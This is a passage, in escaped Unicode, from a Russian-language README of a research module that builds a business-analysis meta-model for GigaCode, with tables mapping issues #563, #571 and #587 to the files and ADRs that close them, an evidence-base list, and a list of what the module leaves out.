\u043f\u043e\u043d\u044f\u0442\u0438\u0435\\n    \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u043b\u0438\u0446\u0430: \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a, \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a, AI-\u0430\u0433\u0435\u043d\u0442, \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440.\\n    \u041f\u0435\u0440\u0435\u0447\u0435\u043d\u044c \u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u0437\u0430\u0434\u0430\u0447\u0438 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439\\n    `extract-actors` \u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 `A-CORE`; \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442-\u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f (\u0434\u0438\u0430\u0433\u0440\u0430\u043c\u043c\u0430\\n    \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0430\u044f \u0438\u0441\u0442\u043e\u0440\u0438\u044f) \u0431\u0435\u0440\u0451\u0442 \u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e\\n    \u043e\u0442\u0442\u0443\u0434\u0430. `\u0421\u0438\u0441\u0442\u0435\u043c\u0430` \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u2014 \u043e\u0431\u044a\u0435\u043a\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0448\u0430\u0433\u0430\\n    ([`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u00a72.1\u2013\u00a72.2).\\n\\n## \u0427\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0444\u0430\u0439\u043b\u044b \u043c\u043e\u0434\u0443\u043b\u044f\\n\\n| \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 issue #563 | \u0413\u0434\u0435 \u0437\u0430\u043a\u0440\u044b\u0442 |\\n| --- | --- |\\n| 1. \u0414\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f `stepwise`/`oneshot`/`legacy` | [ADR-013](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md), [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md) \u00a76 |\\n| 2. \u0421\u0438\u043d\u0442\u0435\u0437 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0439 | [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md) \u00a72\u2013\u00a75, [`standards/product-taxonomy-reference.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/product-taxonomy-reference.md) |\\n| 3. \u0412\u0438\u0437\u0443\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 | [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md) \u00a72\u2013\u00a73 |\\n| 4. \u0421\u043e\u0441\u0442\u0430\u0432 Execution Package \u0434\u043b\u044f GigaCode | [`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md) \u00a72\u2013\u00a75 |\\n| 5. \u0410\u0432\u0442\u043e\u043d\u043e\u043c\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f: \u0432\u044b\u0431\u043e\u0440 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0438 \u0438\u0445 \u0434\u043e\u043c\u0430 | [`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/50-open-research.md) \u00a72 |\\n| \u041f\u043b\u0430\u043d \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0440\u0435\u0437\u0430 \u0438 \u0441\u0431\u043e\u0440\u0430 \u044d\u043c\u043f\u0438\u0440\u0438\u043a\u0438 | [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md) \u00a74\u2013\u00a75 |\\n| \u0417\u0430\u0449\u0438\u0442\u0430 \u043d\u043e\u0432\u043e\u0439 \u043d\u043e\u0440\u043c\u044b \u043e\u0442 \u0434\u0438\u043a\u0442\u0430\u0442\u0430 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f ([\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 \u043a PR #564](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/564)) | [ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md), \u00a76.1 [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md), \u00a77 [`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), `EP-C6`/`SK-7` [`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md) |\\n| \u041d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0438 \u0432\u043e\u043f\u0440\u043e\u0441\u044b | [`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/50-open-research.md) \u00a74 |\\n\\n\u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b [issue #571](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571)\\n\u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0435\u0440\u0441\u0438\u0435\u0439 0.2 \u0438 \u0434\u0432\u0443\u043c\u044f \u043d\u043e\u0432\u044b\u043c\u0438 \u043c\u043e\u0434\u0443\u043b\u044f\u043c\u0438.\\n\\n| \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 issue #571 | \u0413\u0434\u0435 \u0437\u0430\u043a\u0440\u044b\u0442 |\\n| --- | --- |\\n| \u0413\u043b\u0443\u0431\u043e\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 | [`2026-09-10-process-taxonomy-defects-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md) |\\n| \u0418\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0431\u0430\u0437\u0438\u0441 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0434\u0435\u043b\u044c\u0442\u0430 \u041a\u041a \u041c\u0430\u043d\u0433\u043e | [`process-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model/process-taxonomy) |\\n| \u0413\u0440\u0430\u043d\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u0441\u0432\u044f\u0437\u044c \u0441 \u043d\u0430\u0432\u044b\u043a\u0430\u043c\u0438 | [`operation-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy) |\\n| \u041e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u044b\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 (`A-CORE`, `A-TZ`, `A-BCREQ`, `A-REP`, `A-TRACE`) | [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md) \u00a72 |\\n| \u0421\u0443\u0449\u043d\u043e\u0441\u0442\u0438 `\u0421\u0438\u0441\u0442\u0435\u043c\u0430`, `\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c`, `\u0410\u043a\u0442\u043e\u0440`, \u043d\u0430\u0432\u044b\u043a \u043a\u0430\u043a \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 | [`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md) \u00a72, \u00a74 |\\n| \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u043a\u0430\u043a \u0433\u0440\u0430\u0444 \u0441 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u043e \u0433\u0435\u0439\u0442\u0430\u043c | [`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md) \u00a76, [`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md) \u00a76.1 |\\n| \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0432 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 | [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md) \u00a77, `GT-5` |\\n| \u0421\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u0435\u0439\u0441\u044b \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u044b | [`exp/ba-process-taxonomy-571/2026-09-10-synthetic-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/2026-09-10-synthetic-cases.md) |\\n| \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043e \u043f\u0435\u0440\u0435\u0441\u0431\u043e\u0440\u043a\u0435 | [ADR-015](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md) |\\n\\n\u0417\u0430\u0434\u0430\u0447\u0430 [issue #587](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/587)\\n\u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u0435\u0440\u0441\u0438\u0435\u0439 0.4 \u2014 \u043d\u0435 \u043f\u0435\u0440\u0435\u0441\u0431\u043e\u0440\u043a\u043e\u0439 \u043c\u043e\u0434\u0443\u043b\u044f, \u0430 \u0442\u043e\u0447\u0435\u0447\u043d\u043e\u0439 \u0434\u043e\u0441\u0442\u0440\u043e\u0439\u043a\u043e\u0439 \u043f\u043e\\n\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0443 \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438. \u041f\u043e\u0440\u043e\u0433 \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u043a\u0438 (\u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0431\u043e\u043b\u0435\u0435 80%\\n\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430) \u043d\u0435 \u0434\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442: \u0430\u0443\u0434\u0438\u0442 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b \u0442\u0440\u0438 \u0434\u0435\u0444\u0435\u043a\u0442\u0430 \u0438 \u0441\u0435\u043c\u044c\\n\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u0439, \u0430 \u0444\u043e\u0440\u043c\u044b \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b \u0431\u0435\u0437\\n\u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n| \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 issue #587 | \u0413\u0434\u0435 \u0437\u0430\u043a\u0440\u044b\u0442 |\\n| --- | --- |\\n| \u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u0441\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u0441 \u0434\u0435\u0441\u044f\u0442\u044c\u044e \u043c\u043e\u0434\u0443\u043b\u044f\u043c\u0438 `research/ai-education` | [`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/50-open-research.md) \u00a77 |\\n| \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0439 \u0430\u0443\u0434\u0438\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447\u0438 #577 \u043f\u043e \u043f\u0443\u043d\u043a\u0442\u0430\u043c | [`docs/audit/2026-09-15-ba-meta-model-cross-check-audit.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/audit/2026-09-15-ba-meta-model-cross-check-audit.md) |\\n| \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 (\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043a \u0431\u0430\u0437\u0435 \u0437\u043d\u0430\u043d\u0438\u0439) | [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md) \u00a77.1, `SR-1`\u2026`SR-6` |\\n| \u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 `G-human` \u0432 \u0434\u0438\u0430\u043b\u043e\u0433\u043e\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 | [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md) \u00a75 |\\n| \u042d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u043d\u0430 \u0441\u044b\u0440\u044b\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u0445, \u0431\u0435\u0437 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 | [`exp/ba-meta-model-cross-check-587/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-meta-model-cross-check-587) |\\n| \u0422\u0440\u0438 \u0444\u043e\u0440\u043c\u044b BCREQ: \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430, \u0434\u043e\u0433\u043e\u0432\u043e\u0440 | [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md) \u00a71, \u043f\u0440\u0430\u0432\u0438\u043b\u043e 5 |\\n\\n## \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430\\n\\n- [`2026-09-08-meta-model-inputs-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md)\\n  \u2014 \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 \u0432\u0445\u043e\u0434\u043e\u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82a`: \u0440\u0435\u0436\u0438\u043c\u044b,\\n  \u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u0435\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432,\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n- [`2026-09-09-legacy-normative-influence-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u2014 \u0437\u0430\u043c\u0435\u0440 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u043c\\n  \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u0438 \u0441\u043f\u043b\u043e\u0448\u043d\u043e\u0439 \u0430\u0443\u0434\u0438\u0442 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0431\u043b\u043e\u043a\u043e\u0432 \u043c\u043e\u0434\u0443\u043b\u044f; \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435\\n  ADR-014.\\n- [`exp/ba-meta-model-563/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-meta-model-563)\\n  \u2014 \u0434\u0432\u0430 \u0438\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044f, \u0441\u044b\u0440\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0438 \u043b\u043e\u0433\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n- [`2026-09-08-artifact-structure-variance-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md)\\n  \u2014 \u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 (issue #561), \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u043b\u043e\u044f\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\\n- [`exp/ba-meta-model-cross-check-587/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-meta-model-cross-check-587)\\n  \u2014 \u0442\u0440\u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u0437\u0430\u043c\u0435\u0440\u0430 \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438: \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u043a\u0435\u043b\u0435\u0442\u0430 \u043d\u0430\\n  \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 (`M-1 = 0.0`), \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u043d\u0430 \u0441\u044b\u0440\u044b\u0445 \u0432\u0445\u043e\u0434\u0430\u0445\\n  \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0441 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u043c.\\n- [`2026-09-07-ecosystem-knowledge-inventory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-07-ecosystem-knowledge-inventory.md)\\n  \u2014 \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0430\u0446\u0438\u044f 368 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043a\u0430\u0440\u0442\u044b \u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n## \u0427\u0435\u0433\u043e \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 \u043d\u0435\u0442\\n\\n- **\u041d\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0430\u043a\u0435\u0442\u0430.** \u041c\u043e\u0434\u0443\u043b\u044c \u0437\u0430\u0434\u0430\u0451\u0442 \u0441\u043e\u0441\u0442\u0430\u0432 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b Execution\\n  Package, \u043d\u043e \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0435\u0433\u043e \u0444\u0430\u0439\u043b\u044b: \u0438\u0445 \u0434\u043e\u043c \u2014 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0449\u0430\u044f \u0441\u0440\u0435\u0434\u0430, \u0430 \u043d\u0435\\n  \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u043c\u043e\u0434\u0443\u043b\u044c Source\\n  ([`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/50-open-research.md), \u00a72).\\n- **\u041d\u0435\u0442 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0434\u0443\u043b\u0435\u0439 `M0`\u2013`M4` \u0438 \u043e\u0431\u0435\u0438\u0445 \u043e\u0441\u0435\u0439.** \u0420\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f\\n  \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043a\u0430\u043a \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439\\n  ([`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u00a75)\\n  \u0438 \u0432\u044b\u043d\u0435\u0441\u0435\u043d\u044b \u0432 \u0431\u044d\u043a\u043b\u043e\u0433, \u0430 \u043d\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0442\u0435\u043a\u0441\u0442\u043e\u0432.\\n- **\u041d\u0435\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430.** \u0414\u043e\u043c\u0435\u043d\u044b, capability \u0438 features \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432\\n  \u0441\u043f\u043e\u043a\u0435; Source \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0443\u0440\u043e\u0432\u043d\u0435\u0439.\\n- **\u041d\u0435\u0442 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0439 \u043d\u043e\u0440\u043c\u044b.** \u041c\u043e\u0434\u0443\u043b\u044c \u2014 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435. \u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432 \u043d\u043e\u0440\u043c\u0443 \u0438\u0434\u0451\u0442\\n  \u0437\u0430\u0434\u0430\u0447\u0430\u043c\u0438 `B-146`\u2026`B-152` \u0438 `B-155`\u2026`B-161`.\\n- **\u041d\u0435\u0442 \u0437\u0430\u044f\u0432\u043a\u0438 \u043d\u0430 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c.** \u041c\u043e\u0434\u0443\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n  \u041a\u041a \u041c\u0430\u043d\u0433\u043e \u0432 GigaCode. \u041f\u0435\u0440\u0435\u043d\u043e\u0441 \u0434\u043e\u043c\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0432 `projects/` \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435\\n  \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u2014 \u0437\u0430\u0434\u0430\u0447\u0438 \u0434\u043e\u0440\u043e\u0436\u043d\u043e\u0439 \u043a\u0430\u0440\u0442\u044b `B-155` \u0438 `B-156`, \u0430 